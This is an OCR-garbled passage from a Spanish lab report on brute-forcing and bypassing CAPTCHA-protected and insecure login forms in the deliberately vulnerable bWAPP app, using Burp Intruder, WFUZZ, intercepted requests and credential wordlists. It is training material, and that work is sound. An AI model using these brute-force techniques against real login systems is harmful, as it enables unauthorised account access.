Message editor documentation
(OIS : Proxy interception documentation 0 matches
L e

Imagen 129: Enviar la peticién a Intruder — Captcha Bypassing

28. Se realiza la seleccion de Cluster Bomb para la ejecuccion del ataque por un conjunto
de carga util acorde al payload indelicado como es usuario y contrasefia.

Burp Project Intruder Repeater Window Help Burp Suite Community Edition v2022,12.5 - Temporary Project - u} X
Dashboard  Target Intruder  Repeater  Sequencer  Decoder  Comparer  Logger  Exensions  Learn {8} settings
1 % 2 x + Q
Positions Payloads Resource Pool Options
@ Choose an attack type

Attack type: | Cluster bomb v
(3) Payload Positions
Configure the positions where payloads will be inserted, they can be added into the target as well as the base request.
Add§
Target: | hitp://192.168.1.12 Update Host header to match target
Clears
POST /DWAPF/ba_captcha bypass.php HTTE/L.1
2 Host: 192.18.1.12 Auto §
3 Content-Length: 56
Cache-Control: max-age=0 Refresh
Upgrade-Insecure-Requests: 1
igin: http://152.168.1.1
7 Content-Type: application/x-waw-form—urlencoded
¢ User-Agemt: Mozilla/5.0 (Windows NT 10.0; Wingd; x&4) AppleWebKit/537.3& (KHTML, like Gecko) Chrome/108.0.5359.12% Safari/§37.36
Accept: text/htaml,application/xhtaltsml,application/snl;q=0.%,inage/avif,inage/vebp, inage/apng,*/*;q=0.8, application/signed-exchange;v=h;q=0.9
Referer: http://192.168.1.12/BWADP/ba_captcha bypass.php
Accept-Encoding: gzip, deflate
Accept-Language: es-ES,es;q=0.9
Cockie: PHPSESSID=Sededs93a58531c8hsad3thdlablhThe; seuricy level=0
login=§bee§spassword=ghugSkcapteha_user=ht408wolt forn=submit
@& €[> 0 matches Clear
2 payload positions Length: 767

Imagen 130: Cluster Bomb para ataque de fuerza bruta — Captcha
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29. En la options de configuracion se selecciona el payload correspondiente para asignar
una lista simple de valores para la ejecucion del ataque.

Burp  Project Infruder Repeater Window  Help

Dashboard Target Intruder Repeater Sequencer Decoder Comparer Logger Extensions Leamn {55 settings
1 % 2 x qQ
Positions  Payloads  ResourcePool  Options

@ Payload Sets

You can define one or mare payload sets, The number of payload sets depends on the attack type defined in the Positions tab, Various payload types are available for each payload set, and each payload type can be custmized in

different ways.
Payload set | 1 ~|  Payload count: 8
Payload type: | Simple list ~|  Request count: 0

() Payload Options [Simple list]

This payload type lets you configure a simple list of strings that are used as payloads.

Paste bee
admin
Load.. user
Remove
123 »
Clear test
Deduplicate
Add

(3) Payload Processing

You can define rules to perform various processing tasks on each payload before it is used,

Add Enabled Rule
Edit

Remove

| ke

Imagen 131: Insertar un conjunto de lista simple para usuario

30. Asi mismo se selecciona el payload correspondiente para la contrasefia y se Ifie asigna
una lista simple de valores para la ejecucion del ataque.

BBl eup Project Intuder Repeater Window  Help

< Dashboard  Target Intruder  Repeater  Sequencer  Decoder  Comparer  logger  Edensions  Leam
1% 2x Q
Positions  Payloads  ResourcePool  Options

@ Payload Sets

‘You can define one or more payload sets. The number of payload sets depends on the attack type defined in the Positions tab. Various payload types are available for each payload set, and each payload type can be customized in
different ways,

Payload set: | 2 ~|  Payload count: §

Payload type:  Simple list v Request count: 40

(3) Payload Options [Simple list]

This payload type lets you configure a simple list of strings that are used as payloads.

Paste test
password
Load ... contrasena
Remove || BUO
test »
Clear
Deduplicate
Add

@ Payload Processing
You can define rules to perform various processing tasks on each payload before it is used.

Add Rule

Edit

Remove

Imagen 132: Insertar un conjunto de lista simple para contrasefia
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31. En options se realiza una configuracion accesible para tener un resultado accesible,
dando activacion del grap mach en donde se inserta el mensaje de error cuando las

credenciales son incorrectas.

Burp Project Intruder Repeater Window Help Burp Suite Community Edition v Temporary Project - O X
Dashboard Target Intruder Repeater Sequencer Decoder Comparer Logger Extensions Leamn {5} settings
1% 2 = Q
Positions  Payloads Resource Pool Options

Store requests

Store responses

Make unmadified baseline request
Use denial-of-service mode (no results)

Store full payloads

@ Grep - Match

") These settings can be used to flag result items containing specified expressions.
Flag result items with respanses matching these expressions:
Paste
Load ..

Remove

Clear

Add Incarred|

Match type: ©) Simple string

Regex

Case sensitive match

Exclude HTTP headers

(3) Grep - Extract

'O These settings can be used to extract useful information from responses inta the attack resuits table,

Extract the following items from responses:

Imagen 133: Configuracion del ataque

32. Al terminar la confirmacion se realiza el ataque dando clic en el boton “Start Attack”.

Burp Project Intruder Repester Window Help Burp Suite Community Edition - Temporary Froject - O X
Dashboard Target Intruder Repeater Sequencer Decoder Comparer Logger Extensions Leamn {5} settings
1% 2 x Q
Positions Payloads  Resource Paol Optians
@ Choose an attack type

Attack type:| Cluster bomb ~
(3) Payload Positions
Configure the positians where payloads will be inserted, they can be added into the target as well as the base request.
Add s
Target: | hitp://192.168.1.12 Update Host header to match target
Clear §
1 POST /BWAPP/ba_captcha_bypass.php HITP/1 1
Z Host: 182.168.1.12 Auto §
Content-Length: 5&
4 Cache-Control: max-age=0 Refresh
S Upgrade-Insecurs-Requests: 1
€ Origin: http://197.168.1.17
7 Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Wing4; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.5359.125 Safari/537.36
Aceept: text/html,application/xhtmltxnl,application/iml;q=0.9,image/avif, inage/webp,inage/apng,*/*;q=0.8, application/signed-exchange;v=b3;q=0.9
10 Beferer: heep://192.168.1.12/bWAPE/ba_captcha_bypass.php
1L Accept-Encoding: gzip, deflate
12 Aceept-Languar es-ES,es;q=0.9
13 Cookie: PHPSE =0ede4e93a68931cBbiad3fhdBablbTh4; security level=0
14 Connection: close
12 login=§k ha_user=ht405wslc
@@ <> 0 matches Clear
Length: 767

2 payload positions

Imagen 134: Comenzar el ataque — Captcha Bypassing
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33. Comienza la busqueda de las credenciales correspondiente de inicio de sesion

Atack  Save  Columns 4, Intruder attack of hitp://192,168.1.12 - Temparary attack - Hot saved to project file x
Results  Positions  Pajloads  ResourcePool  Options
Filter. Showing allitems (@)
Requ.. Payioad 1 Payload 2 Status  Emor Timeout Llength P1grep P2 grep Comment
2 contrasena 200 13572 255+
25 bee bug 200 13941 4 8
26 admin bug 200 13972 4 8
27 user bug 200 13972 9 8
28 bug 200 13972 255+ 8
2 123 bug 200 13972 1 8
30 test bug 200 13972 ]
3 bug 200 13972 255+ 8
32 bug 200 13972 255+ 8
33 bee test 200 13972 4
X admin test 200 13972 4
35 user test 200 13972 9
36 test 200 13572 255+
37 123 test 200 13972 1
38 test test 200 13972
39 test 200 13972 255+
4 test 200 13572 255+
Request Response
Pretty  Raw  Hex  Render n =
<br />
7 <input type='text" id="captcha user" name="captcha user" value="" autocomplete="off" />
</p>
1 <hutton types"submit” name="forn’ values"submit'>
Login
</button>
inbsp; enbsp; nbsp, <font color="green'>
Suecessful login!
</ont>
</ form>
</divs
<div id="side">
e} €[> | sucess 1 match
Finished

Imagen 135: Resultados de ataque — Bypassing

34. Resultado Exitoso.

Mtack Save Columns 4, Intruder attack of hitp://192.168.1.12 - Temporary attack - Not saved to praject file - X
Results Positions Payloads Resource Pool Options
Filter: Showing all items @
Requ.. Payload 1 Payload 2 Status  Emor Timeout Length Pigrep P2 grep Comment
e wiuascia e mie e
24 contrasena 200 13972 255+
25 bee bug 200 13941 4 8
26 admin bug 200 13972 4 8
27 user bug 200 13972 9 8
28 bug 200 13972 255+ 8
29 123 bug 200 139712 1 &
0 test bug 200 13972 8
£l bug 200 13972 255+ 8
32 bug 200 13972 255+ 8
3 bee test 200 13972 4
34 admin test 200 13972 4
35 user test 200 13972 9
36 test 200 139712 255+
7 123 test 200 13972 1
38 test test 200 13972
39 test 200 13972 255+
40 test 200 13972 255+
Request  Response
Pretty Raw Hex Render =

| Login | Successful loginl

Finished

Imagen 136: Succesful Login — Bypassing
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Escenario #14: Falla de autentificacion — Formulario Login Web con Omision de
Captcha mediante WFUZZ
Objetivo: Adivinar y robas las credenciales del administrador, y dar aceeso

Complejidad: Medio

Tiempo: 39 minutos

35. Se realiza el cambio de seguridad en Set Security Level a medio

ae
q

bWAPP - Broken Authentication X  +

C Q@ A Noesseguro | 192.168.1.11 o | @ A8 B » OB =

bWAPP v2.2

Set your security level
[low  v|[set| Current medium

an ex+r‘emely buaa\/ web app I ow

Bugs Change Password Create User Set Security Level Reset Credits Blog Logout

/ Broken Auth - CAPTCHA Bypassinﬁ /

Enter your credentials (bee/bug)

Login
(

Q088

Password

gy

_.__| Reload

Re-enter CAPTCHA
i \
[Login

Imagen 137: Captcha Bypassing — Nicel medio

36. Se selecciona el bug de prueba que es “ Broken Auth — Captcha Bypassing”

Archivo Miquina Ver Entrada Dispositivos Ayuda

S emPorl|1 23 4 ] I bin § o A oB3%|a e
¢ bWAPP -Broken Authent: x |+ v

€ C A Notse 192.168.1.12/bWAPP/ba_ o < % » A00 :

Set your ;ecur'rh/ level:
an extremely bugﬂy web app ! Ce

Bugs Change Password Create User Set Security Level Reset Credits Blog Logout

/ Broken Auth - CAPTCHA Bypaggina /

Enter your credentials (bee/bug)
Login:
Password
\ \
Sl e -:5;, -

e N\ | Reload |

OB a8

Re-enter CAPTCHA

Imagen 138: Escenario de prueb
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37. Capturar la informacion de la peticion realizada en el formulario Login mediante la
herramienta Burp Suite.

Archivo Maquna Ver Entrada Dispositivos Ayuda

S mmPor]-| 2 3 ] i oo 2

Burp Suite Community Edition v2022.9.6 - Temporary Project
T Burp Project Intruder Repeater Window Help
192.168.1.12/bWAPP/b y Dashboard  Target Intruder  Repeater  Sequencer  Decoder  Comparer  Logger
Extender  Projectoptions  Useroptions  Leam

HTTPhistry ~ WebSocketshistory  Options

(# Requestto http://192.168.11280
Change Password Create User Set Security Level Forward Drop action OpenB. W wen @

Raw Hex =
1 POST /bWAPP/ba_captcha_bypass.php HTTP/1.1
2 Host: 192.168.1.12

/ Broken Auth - CAPTCHA BYF e Langih s

S Upgrade-Insecure-Requests: 1
& Origin: http://192.168.1.12
Enter your credentials (bee/bug) 7 Content-Type: application/x-www-form-urlencoded
8 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like
ogin Gecke) Chrome/107.0.5304.107 Safari/s37.36
o 9 Accept:
text/htnl,application/xhtnl+xnl,application/xnl;q=0.9, inage/avif, inage/webp, inage/apng
J¥/*;0=0.8,application/signed-exchange;v=b3;q=0.9
e ) Referer: http://192,168.1,12/bWAPP/ba_capt cha_bypass . php
s 11 Accept-Encoding: gzip, deflate
12 Accept-Language: en-US,en;q=0.9
13 Cookie: PHPSESSID=0221e973548cdS5al562d152e77e6b32; security level=1
14 Connection: close
15
16 login=bee&password=bugkcaptcha_user=us-Dtviform=submit

HOULDO3dSNI

| Reload |

Re-enter CAPTCHA:

| Login |

BWAPP is licensed under © 2014 MME BVBA / Folow on Twitter and

i

Imagen 139: Interceptar la peticién por BurpSuite

38. Inspeccionar el elemento del formulario Login para hallar las peticiones POST Y GET
de solicitud, y asi mismo identificar los payloads involucrados. Esta informacién se
encuentra en network en New Request

Archivo Miquina Ver Entrada Dispositivos Ayuda
BomP ol 2 3 4] II-H!W:“&“J‘U A nBs|a e

¢ bWAPP - Broken Authent X +

5 C @ O & 192168.1.12

Kali Linux #8 Kali Tools « KaliDocs N Kali Forums X Kali NetHunter * Exploit-DB % Google Hacking DB /| OffSec

Password! u

iy
[I]

Re-enter CAPTCHA

Reload

Login | Successful login!

bWAPP is licensed under © 2014 MME BVBA / Follow on Twitter and ask For our cheat sheet, contairing all soutions! / Need an exclusive
vork  {} st
+ Q O Al
5 B Headers
B PC ... ba_captcha bypa do... hti13... 13

yA&form=submit

Imagen 140: inspeccionar elemento para hallar las peticiones en network
144



39. Ahora identificar la cookie en storage para encontrar el PHPSESSID vy el nivel de
seguridad correspondiente del formulario Login.

Archivo Maquina Ver Entrada Dispositivos Ayuda

BemPOF | 2 3 4] L o822 | @ G
®¢ bWAPP - Broken Authent X +

(5 C @ O & 192168.1.12

Kali Linux # Kali Tools # KaliDocs W Kali Forums X Kali NetHunter % Exploit-DB % Google Hacking DB /| OffSec

Bugs Change Password Create User Set Security Level Reset Credits Bioﬂ Logout

/ Broken Auth - CAPTCHA Bypassiﬂg /

Enter your credentials (bee/bug)
Login
bWAPP is licensed under 14+ MME BVBA / Follow
& Qn ] Console D D N Network  {} Style Editor  (3) Perfe
Be age
B cookies

® hitpino2168.1.12

Imagen 141: buscar las cookie en stroge

40. Una vez teniendo la informacion requerirle de los payloads involucrado, la cookie y la
seguridad que cuenta el Formulario, se realiza la ejecucion del ataque mediante la
herramienta WFUZZ.

Archivo  Miquna Ver Entrada Dispositivos Ayuda

B eomP a0 4 | g A o3| a e
f root@kali: /home/kali

File Actions Edit View Help

kages/wfuz init__.py arning:Pycurl is not compiled against Openssl. Wfuzz might not work correctly when fuzzing SSL sites. Check
z's documentation for more information.
kR kAR Rk Rk ARk ARk Rk Rk kA kb Rk Rk Ak
* Wfuzz 3.1.0 - The Web Fuzzer *
Tk kAR ARk A AR ARk A Ak Ak ARk kAR A kA A

Target: http://192.168.1. VAPP/ba_captcha_bypass.php?login=FUZZ&pas W FUZ2Z&captcha_user=6f%23Zpz&from=submit
Total requests: 36

Respon Payload

000000001 : | "admin - admin"
000000002 : | C "admin - password"
000000003 : '] "admin - bug"
000000007 : ] "usuario - admin"
000000005 : | "admin - 123456"
000000010 W "usuario - admin123456"
00000000 | "usu - password"
000000006 : | C % test1"
000000004 : % n - admin123456"

000000012

000000015 : c

000000016 | b
000000018

000000

000000

000000!

000000

000000

- admin123456"

Imagen 142: Efectuar el ataque por WFUZZ - fuente de fondo de pantalla:
https://images4.alphacoders.com/116/thumbbig-1165712.webp
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41. Resultado exitoso de ingreso de credenciales halladas.

Archivo Maguina Ver Entrada Dispositvos Ayuda

S mEPkor-|

%

Burp  Project Intruder  Repeater  Windo 3. Intruder attack of http:/f192.168.112 - Temporary attack - Not saved to project file

Dashboard  Target Attack  Save  Columns

1x 2x 4+ Results  Positions  Paylboads  ResourcePool  Options

Positions Payloads Resource Pool Filter: Showingallitems ‘ ®

@ save Options [Pro version only Request Payload1 Payload2 Status Eror  Timeout  Length  incorects Plgrep  P2grey
This setting allows you to save your attackto] 12 administrados password 200 13975 12
3 admin bug 200 13875 4
14 usuario bug 200 13975
bee bug 200 13344 4
test bug 200 13975
. 12345 bug 200 13975
Request Headers administrados bug 200 13975
admin admin123456 200 13975
usuario admin123456 200 13875
bee admin123456 200 13975
test admin123456 200 13975
[ set Connection header 125 admin123456 200 13975
administrados admin123456 200 13975
admin 123455 200 13875

These settings control whether Intruder upd]
2

Update Content-Length header

Error Handling

Encqtiandling Request Response

These settings control how Intruder handles|
Pretty  Row  Hexr  Render

Mumber of retries on network failure: | 1
Fause before retry milliseconds), | 200
Re-enter CAPTCHA:
Attack Results

These settings control what information s —
| Login | Successful login!

[ Store requests
Store responses

Imagen 143: Successful Login — Bypassing medio

Escenario #15: Falla de Autentificacion — Formulario Login Web con Omisién de
Captcha mediante carga util por diccionario

Objetivo: adivinar y robas las credenciales del administrador, y dar acceso
Complejidad: Alta

Tiempo: 19 minutos

42. Se cambia la configuracion del nivel de seguridad alta en la opcidén “Set Security
Level”.

¢ bWAPP - Broken Authentication X

<

(e 0 A Noesseg 192.168.1.11 w12 | @ AS B M OB =

Set your security level
[tow v|[ set | Current: high

on extremely buaay web app !

Change Password Create User Set Security Level Reset Credits Blog Logout

Bugs

/ Broken Auth - CAPTCHA Bypasc;inﬁ /

Enter your credentials (bee/bug)

Login

QBAC

2 @ [Reload |

V2
Re-enter CAPTCHA:
1

[ Login

Imagen 144: Captcha Bypassing — Nivel Alto
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43. Se selecciona el bug de prueba “Broken Auth — CAPTCHA Bypassing”

Archivo Maquina Ver Entrada Dispositivos Ayuda
HemPod |

¢ bWAPP - Broken Authent: x |+

3 4| B @ g

& C A 192.168.1.12

an ex+remely lau%y web opp !

Buﬂs Chan@e Password Create User Set SecurH'y Level

/ Broken Auth - CAPTCHA Bypac;;inﬁ /

Enter your credentials (bee/bug)

Login:

| Reload
=

PREVY S P ST P &

Reset

v =]

*»A00 :

er‘ secur

[low  v||set| Current: high

Credits

Blog Logout

Q8AaC

A rbbired 1 Naad

Imagen 145: Broken Auth — Captcga Bypasisng - Alto

44. Con la herramienta Burp Suite se realiza la intercepcion de las peticiones que desarrolla
el formulario de estudio para identificar los payloads involucrados que permitan el

ataque.

1922 (& C

192.168.1.12/k

Change Password Create User Set Security Level

/ Broken Auth - CAPTCHA B\/F

Enter your credentials (bee/bug)
Login

Password.

[ ]

‘iﬂM‘ e
| -

Re-enter CAPTCHA

| Login |

PWAPP is licensed under © 2014 MME BVBA / Folow on Twitter and

o a

Burp Suite Community Edition v2022.9.6 - Temporary Project
Burp  Project
Dashboard
Extender

Intruder  Repeater Window  Help

Target Inruder  Repeater  Sequencer  Decoder  Comparer

Projectoptions  Useroptions  Leam

HTTPhistory  Websocketshistory  Options

/7 Requesttohttp://192.168.1.12:80

Action Open . | W

[= U

Forward Drop

Interce

Raw Hex

1 POST /bWAPP/ba_captcha_bypass.php HTTP/1.1

2 Host: 192.168.1.12

S Content-Length: 56

4 Cache-Control: max-age=0

S Upgrade-Insecure-Requests: 1

& Origin: http://192.168.1.12

ontent-Type: application/x-www-form-urlencoded

& User-Agent: Mozilla/5,0 (Windows NT 10.0; WinG4; x64) AppleWebKit/S37.35 (KHTHL, like
Gecko) Chrome/107.0.5304,107 Safari/s37.36

9 Accept:
text/html,application/xhtwlsxnl,application/xul ;q=0. 9, inage/avif,inage/webp, image/apng
L #/%;q=0,8, application/signed-exchange;v=b3;q=0.9

10 Referer: http://192.168.1.12/bWAPP/ba_captcha_bypass.php

11 Accept-Encoding: gzip, deflate

12 Accept-Language: en-US,en;g=0.9

13 Cookie: PHPSESSID=f0221e9f3548cdSalS62d152e77e6b32; security_level=2

14 Connection: close

15

:23cu&form=submit

16 logi i=bugécapt cha_users

Imagen 146: Interceptar con BurpSuite
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45. Una vez que se haya enviado todo el dato de intercepcion a intruder, se selecciona la
opcion Cluster Bomb para adjuntar el conjunto de carga util.

Archivo Méquina Ver Entrada Di

Bempon-| 2o 3

4 Burp Suite Community Edition v2022.9.6 - Temporary Project

Bup FProject Intruder Repeater Window Help
Dashboard ~ Target Intruder  Repeater  Sequencer  Decoder  Comparer  logger  Biender  Projectoptions  Useroptions  Leam

1% 3x o+
Positions  Payloads ~ ResourcePool  Options
@ Choose an atta

Attacktype:| Clusterbomb

Configure the positions where payloads will be inserted, they can be added intothe target as well s the base request

Add§

Target: | http://192.168.1.12 Update Host header to match target
Clear§

1 POST /bWAPP/ba_captcha_bypass.php HTTP/1.1

2 Host: 192,168.1.12 Auto§
3 Content-Length: 56

4 Cache-Control: max-age=0 Refresh
S Upgrade-Insecure-Requests: 1

& Origin: http://192,168,1.12

7 Content-Type: application/x-www-form-urlencoded

& User-Agent: Mozilla/S.0 (Windows NT 10,0; Wing4; xG4) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107,0.5304.107 Safari/S37,36

9 Accept: text/html,application/xhtml+xml,application/xnl:q=0.9,image/avif,image/webp,inage/apng, */*:q=0.8, application/signed-exchange:v=b3;q=0.9

10 Referer: http://192.168.1,12/bWAPP/ba_captcha_bypass. php

11 Accept-Encoding: gzip, deflate

12 Accept-Language: en-US,en;g=0.9

13 Cookie! PHPSESSID=T0221eof3548cd5al562d152e77e6b32; security level=2

14 Connection: close

16 login=6bee§& d=6bugS&capt cha_user=z94%23cusforn=submit|

0matches Clear

0B <>

2 payload positions Length 767

Imagen 147: Ataque por Cluster Bomb

46. Se realiza la configuracion correspondiente para el payload usuario y contrasefia
agregando los diccionarios para el ataque.

Archivo Maquina Ver Entrada Disposiivos  Ayuda

IR YN o

4 Burp Suite Community Edition v2022.9.6 - Temporary Project

Burp Project Intruder Repeater Window  Help
Dashboard ~ Target Intruder  Repeater  Sequencer  Decoder  Comparer  Logger  Edender  Projectoptions  Useroptions  Leamn

1k 3k 4

Positions  Payloads  ResourcePool  Options

® *

You can define one or more payload sets. The number of payload sets depends on the attack type defined inthe Positions tab. Various payloadtypes are available for each payioad set, and each payload type can be customized in different ways.

Fayloadset: | 1 ~|  Payloadcount: 2lapprox)

Payload type: | Runtime file ~|  Requestcount: 0

tions [Runtime file]

This payload type lets you configure a file from which to read payloadstrings at runtime

Selectfile JIhome/kali/usuarios.txt

@ Payload Processing
‘You can define rules to perform various processing tasks en each payload before it is used
Add Enabled Rule
Edit
Remove
U

Down

(3) Payload Encoding

Imagen 148: Inserta diccionario de usuarios y contrasefias
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47. Se da clic en “Start Attack™ para la busqueda de las credenciales exactas.

Archivo  Maguina Ver Entrada Dispositvos  Ayuda

B emPor-|1 2 3 - ° 6

13. Intruder attack of http://192.168.1.12 - Temporary attack - Not saved to project file

Attack  Save  Columns

Results  Positions  Payloads  ResourcePool  Options

Filter: Showingallitems ‘@
Request Payload 1 Payload2 Status Eror  Timeout  Length  incorrecta Comment
- —_— - .
n 12345 password 200 13973
2 administrados password 200 13973
13 admin bug 200 13973
14 usuario bug 200 13973
15 bee bug 200 13542
16 test bug 200 13973
7 12345 bug 200 13973
18 administrados bug 200 13973
19 admin admin123456 200 13973
20 usuario admin123456 200 13973
bl bee admin123456 200 13973
2 test admin123456 200 13973
bx) 12345 admin123456 200 13973
24 administrados admin123456 200 13973

Request Response
Pretty Raw Hex Render =

Re-enter CAPTCHA:

| Login | Successful login!

Imagen 149: Successful Login — Nivel Alto
PRUEBA INSECURE LOGIN FORMS

Escenario #16: Falla de Autenticacion — Formulario Login Web Inseguro
Objetivo: Hallar las credenciales de usuario de prueba

Complejidad: Bajo
Tiempo: 10 minutos

48. Se cambia la configuracién del nivel de seguridad bajo en la opcion “Set Security
Level”.

#¢ bWAPP - Broken Authentication X +

q (¢4 O A No juro | 192.168.1.11

@ Choose your bug:
\

DWAPP v2.2 ~ | Hack |

Set your security level
[low  v|[set| Current low

an ex+r‘emely buaﬂy web app ‘.

Password Create User Set Security Level Reset Credits Blo: Logout
9 qeu

/ Broken Auth - Insecure LOﬂiI’] Forms /

Enter your credentials

Login

J

Q88

Password
\

[ Login |

Imagen 150: Insecure Login Forms — Nivel Baio
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49. Se selecciona el bug de prueba que es “Broken Auth — Insecure Login Forms.

Archivo Maquina Ver Entrada Dispositivos Ayuda
| B |1 2 3 4@ 2 009 | & &
| | N ¢ | | ) |

8¢ bWAPP - Broken Authent X +

(52 C @ O A& 192168.1.12

Kali Linux #8 Kali Tools # KaliDocs N Kali Forums X Kali NetHunter % Exploit-DB % Google Hacking DB /| OffSec

low v | Set| Current: low

an eerremely bu%y web opp !

Bugs Change Password Create User Set Security Level Reset Credits Blog Logout

/ Broken Auth - Insecure l_ogir\ Formes /

E

Enter your credentials

Login L ,f)
Password =J
Login

/magen 151: Escenario de Prueba Login

50. Se da clic derecho y se da en ver cddigo fuente, y de manera minuciosa se busca cierta
anomalia y por sorpresa se halla la informacion de credenciales de la prueba.

Archivo Maguina Ver Entrac

HEeoEPd| "33 4 o

8¢ bWAPP - Broken Authen x| hitp://192.168.1.12/bWAPP/b X = +

C @ a view-source:http://192.168.1.12/bWAPP/ba_insecure_login_1.php

KaliLinux §8 KaliTools ¢ KaliDocs 3 Kali Forums e Kali NetHunter Exploit-DB Google Hacking DB OffSec

n Forms</hl>

Imagen 152: Revisar cédigo fuente para hallar las credenciales
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51. Se ingresa los datos al formulario Login.

)
Archivo Maquina Ver Entrada Dispositivos Ayuda
z vl1 2 3 a]¢ il b L 2
J =] /t\ \ | » g "|\ H(w;qu 2
R bWAPP - Broken Authent X http://192.168.1.12/bWAPP
& C @ O A or 1921681121
KaliLinux # KaliTools @ KaliDocs MK gaye login for http:/[192.168.1.122

Username Choose your bl..lﬁ:

05| & ¢

tonystark v | bWAPP v2.2

Password Set your 9ecuri+y level:

Iam Iron Man low  v||Set| Current low

Bugs  Change Password Dontevell el -dits Blog  Logout

/ Broken Auth - Insecure Login Forms / (]

Enter your credentials ﬁ

Login:_

Password (&)

A AANAE RARA /il T b e b A T e e B A S et s (el il s

Imagen 153: Insertar las credenciales al login

52. Inicio de sesidon con éxito

Archivo Maquina Ver Entrada Disposiivos Ayuda
S mEPO-|1 23 2|0 0
¢ bWAPP - Broken Authent X http://192.168.1.12/bWAPP
s C o O & o- 1921681.12
Kali Linux # Kali Tools # KaliDocs M Kali Forums X Kali NetHunter % Exploit-DB % Google Hacking DB ! OffSec

v || Set| Current: low

an extremely lou%y web app !

Bugs Change Password Create User Set Security Level Reset Credits Blog

/ Broken Auth - Insecure I_oain Forms /

Enter your credentials

Login

O8EC

Password

Login

Successful login! You really are Iron Man :)

a

05 | & ¢

Imagen 154: Successful Login — Iron Man
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Escenario #17: Falla de Autenticacion — Formulario Login Web Inseguro

Objetivo: Hallar las credenciales del usuario prueba
Complejidad: Media
Tiempo: 18 minutos

53. Se configurar el nivel de seguridad de la prueba a media en la opcion “Set Security
Level”

®E bWAPP - Broken Authentication X a5

N C A A Noesseguro | 192.168.1.11

@ Choose your bug:
DWAPP v2.2 ~ | [ Hack |

Set your security level:
[low  v|[set| Current medum

an extremely buzjay web app I

Bugs Change Password Create User Set security Level Reset Credits Blog Logout

/ Broken Auth - Insecure Loain Forms /

Enter the correct passphrase to unlock the secret

Name

[brucebanner |

O8a

Passphrase
\ \

[ Unlock |

Imagen 155: Insecure Login Forms — nivel medio

54. Se selecciona el bug de prueba que es “Broken Auth —Insecure Login Forms”

Archivo  Maquna Ver Entrada Dispositivos Ayuda

B EmEPOF]|1 23 4|0 5 )i 02 | & &

R bWAPP - Broken Authent X  http://192.168.1.12/bWAPP/b X

5= C @ O A 192168112/t

Kali Linux # Kali Tools  KaliDocs N Kali Forums @ Kali NetHunter Exploit-DB Google Hacking DB OffSec

—

Set your 9ecuri+y level:
low v |Set| Current medium

on ex+remely lauggy web opp '

Buas Chanae Password Create User Set Securﬁy Level Reset Credits Blog Loaou+

/ Broken Auth - Ihsecure Loain Forms /

Enter the correct passphrase to unlock the secret

Name

brucebanner

Osa

Passphrase

Unlock

Imagen 156: Pauta de ayuda — brucebanner
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55. Ver el codigo fuente y se observa que existe una funcion que cifra la palabra secret que
es usada como password.

Archivo Maquina Ver Entrada Dispositvos Ayuda
B ERPOr-| 1 2 3 ¢ il o

¢ bWAPP - Broke X http:/{192.168.1.12/bWAPP/b X +

8 view-source:http://192.168.1.12/bWAPP/ba_insecure_login_2.php

KaliLinux #8 Kali Tools * KaliDocs & KaliForums e KaliNetHunter ® Exploit-DB % Google Hacking DB I OffSec

function unly

VEL sh update killed my shells!"

d = bWAPP.cha
bWAPP.
bWAPP.
bWAPP.
bWAPP.
bWAPP.
bWAPP.
bWAPP.
bWAPP.
bWAPP.
bWAPP.
bWAPP.
bWAPP.
bWAPP.
bWAPP.

= bWAPP.cha

ent. forms[0].pass

// Unloc
location. /bWAPP/ba_insecure_login_2.ph t=" + secret;

Imagen 157: Function unlock_Secret

56. Se realiza la copia de la funcién y se pega en una consola de un navegador para
evidenciar el resultado, pero antes se realiza el return del valor secret y se llamada la
funcién alert() para presentar el mensaje oculto.

®|E& bWAPP - Broken Authentication X +

< C AN ro | 192.168.1.12

192.168.1.12 dice

hulk smash!

an ex+r‘emely buaﬂy wel

Change Password Create User Set Security Level Reset Credits Blog Logout

/ Broken Auth - Insecure LLogh Forms / |

bWAPP s licensed under © 2014 MME BVBA / Folow

Consola

secret = (d + *
secret;

<

alert(unlock_secret());

Imagen 158: Efectuar la funcion con alerta para recuperar el mensaje
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57. Se llena los cuadros de texto del Formulario Login y con éxito da acceso.

R bWAPP - Broken Authentication X @ view-source:192.168.1.12/bWAPF X | [§ Burp Suite

€ 5 C A Noesseguro | 192.168.1.12
=5 Choose your bug:
D
\ \ BWAPP v2.2 v | [ Hack|

Set your securi+y level:

on extremely buggy web app ! o s IS

Passwor reate User Set Securi evel ese its o 0
d Creat + Level Reset Credit Blog Logout

/ Broken Auth - Insecure Loain Forms /

Enter the correct passphrase to unlock the secret

=8

Name
\brucebanner ‘

Passphrase =l
i ]
| Unlock |

The secret was unlocked: HULK SMASH!

Imagen 159: Credenciales correctos

Escenario #18: Falla de Autenticacion — Formulario Login Web Inseguro

Objetivo: Hallar las credenciales del usuario prueba

Complejidad: Alta

Tiempo: 40 minutos

58. Se realiza el cambio de seguridad a alta en la opcion “Set Security Level”

®E bWAPP - Broken Authentication X a5

q C O A Noesseguro | 192.168.1.11

@ Choose your bug
| DWAPP v2.2 v || Hack |

Set your security level

an extremely buggy web app '. Lo~ U

Bugs Change Password Create User Set Security Level Reset Credits Blog Logout

/ Broken Auth - Insecure Loain Forms /

Enter your credentials

Login

P15

Password

Login |

Remember: a bee is a bug.

Imagen 160: Insecure Forms Login — Nivel Alto
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59. Se selecciona el bug que es “Broke Auth — Insecure Login Forms”

8¢ bWAPP - Broken Authentication X @ view-source:192.168.1.12/bWAPI X | [ Burp Suite

€ > C AN 192.168.1.12

Choose your laug-.

1 DWAPP v2.2 v | [ Hack |

Set your security levek
[low  v|[set| Current high

an extremely Iou%y web app !

Password  Create User Set Security Level Reset  Credis Blo Logout
9 gout

/ Broken Auth - Insecure l_oain Forms /

Enter your credentials

Login
Password

[ Login ‘

S8

C

Remember: a bee is a bug

bWAPP is licensed under © 2014 MME BVBA / Follow on Twitter and ask for cur cheat sheet, containing al solutions! / Need an exclusive ?

Imagen 161: Credenciales de recuerdo bee- bug

60. Con la herramienta Burp Suite se intercepta la peticion del formulario para luego ser
enviado a la herramienta intruder para identificar los payloads que son requerirle para
el ataque.

bWAPP - Broken Authentication X + Burp Project Intruder Repeater Window Help  Burp Suite Community Edition v202. - a X
X Dashboard Target P Intruder Repeater Sequencer Decoder {5} Settings
& X A eguro | 192.168.1.12
Comparer  Logger  Extensions Learn

HTTP history WebSockets history Options

Choose your

